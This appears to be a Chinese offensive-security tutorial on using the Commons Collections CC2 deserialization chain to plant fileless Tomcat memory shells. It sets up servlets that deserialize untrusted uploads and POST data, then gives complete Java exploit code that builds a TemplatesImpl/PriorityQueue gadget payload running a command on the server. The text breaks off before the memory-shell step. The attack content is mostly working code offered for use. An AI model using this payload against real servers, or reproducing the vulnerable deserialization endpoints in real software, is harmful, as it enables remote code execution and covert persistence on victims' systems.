CC2反序列化武器化:一站式实现三大内存马持久化
引言在当今网络安全防御体系日趋完善的背景下,传统的文件型攻击手段面临着越来越大的挑战。杀毒软件的实时监控、文件完整性校验、静态特征检测等技术,使得基于文件落地的恶意代码难以在目标环境中长期存活,一种更 2025-11-17 01:5:39 Author: www.freebuf.com(查看原文) 阅读量:2 收藏

引言

在当今网络安全防御体系日趋完善的背景下,传统的文件型攻击手段面临着越来越大的挑战。杀毒软件的实时监控、文件完整性校验、静态特征检测等技术,使得基于文件落地的恶意代码难以在目标环境中长期存活,一种更为隐蔽、更具威胁的攻击方式正在悄然兴起——无文件攻击。这种攻击技术摒弃了传统的文件写入方式,将恶意代码直接注入到目标系统的内存中执行。

无文件攻击的本质特征

无文件攻击并非完全不需要文件,而是指恶意代码的执行不依赖于磁盘上的持久化文件。其核心特征包括:

内存驻留性:恶意代码直接运行在进程的内存空间中,不产生或极少产生磁盘文件痕迹。

进程寄生性:依赖合法进程作为载体,将恶意代码注入到系统信任的进程中执行。

环境融合性:利用系统原生功能或应用程序的正常组件作为执行环境,实现"隐身"于正常业务中。

持久化机制的技术原理

内存马持久化的核心在于利用应用程序的生命周期管理机制:

上下文绑定:将恶意组件注册到应用程序的运行时上下文中,使其成为系统的合法组成部分。

请求链路嵌入:将恶意代码植入到HTTP请求处理的关键路径上,确保每个请求都能触发执行。

依赖关系建立:通过建立与核心组件的依赖关系,使得内存马的生存周期与应用程序本身绑定。

反序列化漏洞之所以成为无文件攻击的理想入口,源于其几个关键特性:

信任边界穿透:反序列化操作通常发生在应用程序的信任边界内部,一旦突破即可获得较高的执行权限。

代码执行桥梁:通过精心构造的反序列化链,攻击者可以将数据转换成代码,实现从数据传输到代码执行的跨越。

业务隐蔽性:反序列化是众多业务系统的正常功能,其网络流量往往被视为正常业务数据,难以被传统安全设备识别。

开篇介绍

这篇文章主在实践,理论基础较少。如有不懂可多多关注注释--新手友好!

所需基础:java反序列化利用,反射机制的利用,CC2链的利用,tomcat的上下文机制,tomcat内存马的相关知识,类加载器的原理。

但是想要利用反序列化漏洞写入内存马,需要一些条件:

漏洞利用前提:

1.可用的反序列化漏洞--找到接受序列化数据的入口点(如HTTP参数、RMI等)

2.合适的利用链 (Gadget Chain)--目标环境中需存在包含漏洞的第三方库(如Commons Collections,fastjson等)。

3.执行任意代码的能力--利用链最终需能执行Java代码,为注入内存马铺路。

内存马注入关键:

1.获取Web上下文--获取当前Web容器的上下文(如StandardContext),这是注册组件的基础

2.动态注册恶意组件--向容器动态注册恶意组件(如Filter、Controller)

3.内存马兼容性--内存马需与目标中间件(Tomcat、Spring等)及JDK版本兼容

环境与工具:

1.中间件与框架--不同中间件/框架(Tomcat、Spring、WebLogic等)获取上下文方式不同

2.依赖库--内存马可能依赖特定库(如Javassist用于动态生成字节码)

获取Web上下文是核心:这是动态注册内存马的第一步。例如,在Tomcat中,你需要获取到StandardContext对象。通常可以通过从当前线程或Web应用的ClassLoader中递归搜索来获取。

利用链的最终目标是执行代码:你需要找到一条完整的利用链,它始于反序列化漏洞的触发点,最终能够执行你构造的恶意代码。不同的利用链(如CC链、BeanShell链等)在不同环境下可用性不同。

本文使用Commons Collections的CC2利用链。

模拟web服务器

服务端环境准备:

web服务端:tomcat 9.0.107

JDK版本 :1.8.0_202--只要是java8 多数版本可用 第三方库:Commons Collections 4.0

使用maven创建项目:pom.xml完整配置如下:

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>org.example</groupId>
  <artifactId>JNDI_Memory</artifactId>
  <packaging>war</packaging>
  <version>1.0-SNAPSHOT</version>
  <name>JNDI_Memory Maven Webapp</name>
  <url>http://maven.apache.org</url>
  <dependencies>
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>3.8.1</version>
    </dependency>
    <dependency>
      <groupId>org.javassist</groupId>
      <artifactId>javassist</artifactId>
      <version>3.20.0-GA</version>
    </dependency>
    <dependency>
      <groupId>javax.servlet</groupId>
      <artifactId>javax.servlet-api</artifactId>
      <version>3.1.0</version>
    </dependency>
    <dependency>
      <groupId>org.apache.tomcat</groupId>
      <artifactId>tomcat-catalina</artifactId>
      <version>9.0.107</version>
    </dependency>
<dependency>
      <groupId>org.apache.commons</groupId>
      <artifactId>commons-collections4</artifactId>
      <version>4.0</version>
    </dependency>
  </dependencies>
  <build>
    <finalName>JNDI_Memory</finalName>
  </build>

首先创建一个web服务器,该服务器存在反序列化漏洞:web.xml配置如下:

<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>Archetype Created Web Application</display-name>
  <servlet>
    <servlet-name>upServlet</servlet-name><!--设置servlet名字,映射URL地址的时候需要 -->
<servlet-class>com.ser.UpServlet</servlet-class><!--设置该servlet对应的java类 -->
</servlet>
  <servlet-mapping>
    <servlet-name>upServlet</servlet-name><!--要映射的servlet名字,与上面的一样 -->
<url-pattern>/upload</url-pattern><!--将JNDITest映射到url中(/upload) -->
</servlet-mapping>
</web-app>

漏洞页面部署

该服务器存在2个页面,一个上传页面,一个测试页面,均存在反序列化漏洞:

新建一个UpServlet.java,作为上传页面处理逻辑-代码如下:

package com.ser;

import javax.servlet.ServletException;
import javax.servlet.annotation.MultipartConfig;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.Part;
import java.io.*;

@MultipartConfig//该注解让Servlet能够接收和处理multipart/form-data请求,常用于文件上传功能
public class UpServlet extends HttpServlet {
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        Part filePart = req.getPart("file");// 从请求中获取名为"file"的文件部分
        String fileName = filePart.getSubmittedFileName();// 获取上传文件的原始文件名
        if (fileName == null || fileName.isEmpty()) {
            resp.getWriter().write("请选择文件");
            return;
        }
        // 获取上传文件的输入流,用于读取文件内容
        InputStream fileInputStream = filePart.getInputStream();
        byte[] fileBytes = readFileBytes(fileInputStream);// 读取文件字节数据
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(fileBytes));// 创建对象输入流,用于反序列化文件内容
        resp.getWriter().println("succeed--"); // 向客户端返回成功消息
        try {
            ois.readObject(); //这里直接反序列化用户上传的文件,存在反序列化漏洞风险
            ois.close();
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        }
    }
    /**
     * 从输入流中读取所有字节数据
     *
     * @param inputStream 输入流,包含要读取的数据
     * @return 包含所有读取数据的字节数组
     * @throws IOException 如果读取过程中发生I/O错误
     */
    private byte[] readFileBytes(InputStream inputStream) throws IOException {
        ByteArrayOutputStream buffer = new ByteArrayOutputStream();  // 创建字节数组输出流,用于存储读取的数据
        int read;
        byte[] data = new byte[1024];// 创建缓冲区,每次读取1KB数据
        while ((read = inputStream.read(data, 0, data.length)) != -1) { // 循环读取数据,直到流结束
            buffer.write(data, 0, read); // 将读取的数据写入缓冲区
        }
        buffer.flush();// 刷新缓冲区,确保所有数据都已写入
        return buffer.toByteArray();// 返回包含所有数据的字节数组
    }
}

该servlet是一个存在反序列化漏洞的上传接口,服务端将上传的文件内容进行反序列化后用作其他用途。该上传页面对应的前端代码index.jsp

<html>
<head>
    <title>upload</title>
</head>
<body>
    <h2>upload test</h2>
    <form action="/JNDI_Memory/upload" method="post" enctype="multipart/form-data">
        <input type="file" name="file" >
        <input type="submit" value="submit" />
    </form>
    </body>
</html>

再新建一个存在反序列化漏洞的测试页面:PostTest .java:

package com.ser;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;

/**
* CC2反序列化漏洞测试Servlet
* 用于演示和测试CC2链反序列化漏洞
* 注意:这是一个存在严重安全漏洞的示例-请勿部署在服务器上
*/
@WebServlet("/post")
public class PostTest extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().println("test");// 返回测试信息,确认Servlet正常工作
}
/**
* 处理HTTP POST请求
* 接收Base64编码的序列化数据并尝试反序列化
* 存在反序列化漏洞风险
*
* @param req HTTP请求对象,包含base64参数
* @param resp HTTP响应对象
*/
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String base64 = req.getParameter("base64");// 从请求参数中获取Base64编码的序列化数据
byte[] decode = Base64.getDecoder().decode(base64);// 将Base64字符串解码为字节数组
ByteArrayInputStream bis = new ByteArrayInputStream(decode);// 创建字节数组输入流,包装解码后的数据
ObjectInputStream ois = new ObjectInputStream(bis); // 创建对象输入流,用于反序列化
try {
ois.readObject(); // 风险操作:直接反序列化用户的输入数据
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
}finally {
ois.close();
}
}
}

该页面访问跟正常的服务器差不多,获取用户的post数据(Base64编码数据),然后解码,再反序列化成自己需要的对象内容。

启动该web服务器:

1763090343_69169fa71f0484c99fb4e.png!small?17630903440281763090382_69169fcede51542547d3f.png!small?1763090383864

服务端部署完成,两个存在漏洞的页面:一个上传页面和一个测试页面均正常访问。

然后再来准备攻击端的实现!

模拟攻击端

现在已知存在反序列化漏洞的服务端在运行,如何通过该漏洞,写入内存马,从而隐蔽的控制该服务器。

我们知道内存马有很多种类,比如filter,servlet,listener等,要动态写入内存马,首先要得到当前web服务器的上下文(context)。StandardContext是由Servlet容器(如Tomcat)在Web应用启动时创建的全局对象,一个应用只有一个实例,其存储全局共享数据(如配置参数)、管理应用生命周期(启动/关闭时触发初始化/销毁)。通过操作StandardContext对象,动态的添加对应的组件,即可完成内存注入。

问题1:

重点是如何获取StandardContext:通过Thread.currentThread().getContextClassLoader()机制,Tomcat能够在特定时机获取与当前Web应用对应的类加载器,进而访问其管理的StandardContext对象。具体如何实现无文件攻击实战:利用JNDI注入实现内存马持久化 - FreeBuf网络安全行业门户关注这个文章详细解析。

问题2:

服务端接收的是一个文件,或者说是一个二进制的字节流文件,或者一个字符串格式,如何构建这种格式的恶意内容。

问题3:

如何结合CC2链利用,CC2链自带通过字节流还原类的,并创建实例。CC2链利用详情请看:深入探索Java反序列化:CC2利用链原理与POC实现 - FreeBuf网络安全行业门户

简单概括:Apache Commons Collections 4.0 版本的CC2链利用的核心类是:PriorityQueue, TransformingComparator, TemplatesImpl,通过TemplatesImpl加载恶意字节码,再通过InvokerTransformer反射调用TemplatesImpl的newTransformer方法,再将其封装在TransformingComparator比较器中,最后调用PriorityQueue的反序列方法执行恶意代码。

通过对CC2链的了解,CC2链执行的恶意代码是通过其还原的字节数组触发的。先实现第一步,在当前的模拟服务器上通过cc2链实现反序列化执行命令。

首先得到一个CC2利用链的pox的二进制文件-代码如下:看能否在当前服务端触发。

package com.CC2;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Arrays;
import java.util.PriorityQueue;

public class CC2 {
    public static void main(String[] args) throws Exception {
        /* ClassPool 测试代码,创建类,定义类等*/
ClassPool classPool = ClassPool.getDefault();
        CtClass abstractTransLetClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        CtClass CC2TestClass = classPool.makeClass("CC2Test",abstractTransLetClass);//创建一个CC2Test的类
CtConstructor ctConstructor = CC2TestClass.makeClassInitializer();//创建该类的构造无参函数
//设置构造函数中执行的方法体--代码
ctConstructor.setBody("        try {\n" +
                "            Process process = Runtime.getRuntime().exec(\"whoami\");\n" +
                "            java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));\n" +
                "            String line;\n" +
                "            while ((line = reader.readLine()) != null) {\n" +
                "                System.out.println(line);\n" +
                "            }\n" +
                "            reader.close();\n" +
                "        } catch (Exception e) {\n" +
                "            e.printStackTrace();\n" +
                "        }");
        byte[] bytecode = CC2TestClass.toBytecode();
        /*以上为通过ClassPool直接创建类,再转直接字节数组的方式*/
        
// 创建TemplatesImpl实例,这是XSLT转换的核心类,可用于加载和执行字节码
TemplatesImpl templates = new TemplatesImpl();
// 获取TemplatesImpl的Class对象,用于后续的反射操作
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
// 获取_name字段并进行设置
Field _nameField = templatesClass.getDeclaredField("_name");
        _nameField.setAccessible(true);
        _nameField.set(templates, "aaa");

// 获取_tfactory字段并进行设置 - 这个字段是Transformer工厂,用于创建转换器
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
        _tfactoryField.setAccessible(true);
        _tfactoryField.set(templates, new TransformerFactoryImpl());

// 获取_bytecodes字段并进行设置 -
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        _bytecodesField.setAccessible(true);
//        _bytecodesField.set(templates, new byte[][]{bytecodes});//这个字段包含要加载的类字节码bytecodes-上面的变量
_bytecodesField.set(templates, new byte[][]{bytecode});//这个字段包含要加载的类字节码bytecodes-上面的变量
//这里创建InvokerTransformer对象,将其调用的方法名初始化为newTransformer

InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", null, null);
//创建TransformingComparator对象,并将invokerTransformer传入,初始化其属性transformer
TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
//        transformingComparator.compare(templates,123);//让compare方法帮们执行transformer()方法

// 创建PriorityQueue实例,初始容量为2,使用我们定义的transformingComparator作为比较器 ,这个比较器会在排序时触发Transformer链,是CC2反序列化漏洞利用的关键
PriorityQueue priorityQueue = new PriorityQueue<>(2, transformingComparator);

// 获取PriorityQueue的Class对象,用于后续的反射操作
Class<? extends PriorityQueue> priorityQueueClass = priorityQueue.getClass();
// 通过反射获取PriorityQueue内部的queue数组字段
// 这个数组存储了队列中的实际元素
Field queueField = priorityQueueClass.getDeclaredField("queue");
        queueField.setAccessible(true);  // 设置可访问,因为queue是私有字段
// 获取队列数组并设置元素
// templates是我们构造的包含恶意字节码的TemplatesImpl对象
// 第二个元素"b"只是一个占位符,用于确保队列中有足够的元素触发比较
Object[] queue = (Object[]) queueField.get(priorityQueue);
        queue[0] = templates;  // 将恶意templates对象放入队列第一个位置
queue[1] = "aa";  // 将恶意templates对象放入队列第一个位置
// 通过反射获取size字段并设置为2
// 这告诉PriorityQueue当前队列中有2个元素需要处理
Field sizeField = priorityQueueClass.getDeclaredField("size");
        sizeField.setAccessible(true);  // 设置可访问,因为size是私有字段
sizeField.setInt(priorityQueue, 2);  // 设置队列大小为2,完成条件7:size必须大于等于2
// 创建字节数组输出流,用于存储序列化后的数据
ByteArrayOutputStream bos = new ByteArrayOutputStream();
// 创建ObjectOutputStream,用于将对象序列化为字节流
ObjectOutputStream oos = new ObjectOutputStream(bos);
// 将配置好的PriorityQueue对象序列化到字节流中
// 这会生成包含恶意payload的序列化数据
oos.writeObject(priorityQueue);
// 获取序列化后的字节数组
// 这个byteArray就是可以发送到目标的反序列化payload
byte[] byteArray = bos.toByteArray();
        System.out.println(Arrays.toString(byteArray));
        FileOutputStream fileOutputStream = new FileOutputStream("cc2.bin");
        fileOutputStream.write(byteArray);
        fileOutputStream.flush();
        oos.close();// 关闭输出流
    }
}

该代码运行之后会得到一个cc2.bin文件,该文件包含了CC2的利用链,并执行命令whoami。将文件通过上面的服务器上传接口进行上传:

1763103115_6916d18b03


文章来源: https://www.freebuf.com/articles/web/457485.html
如有侵权请联系:admin#unsafe.sh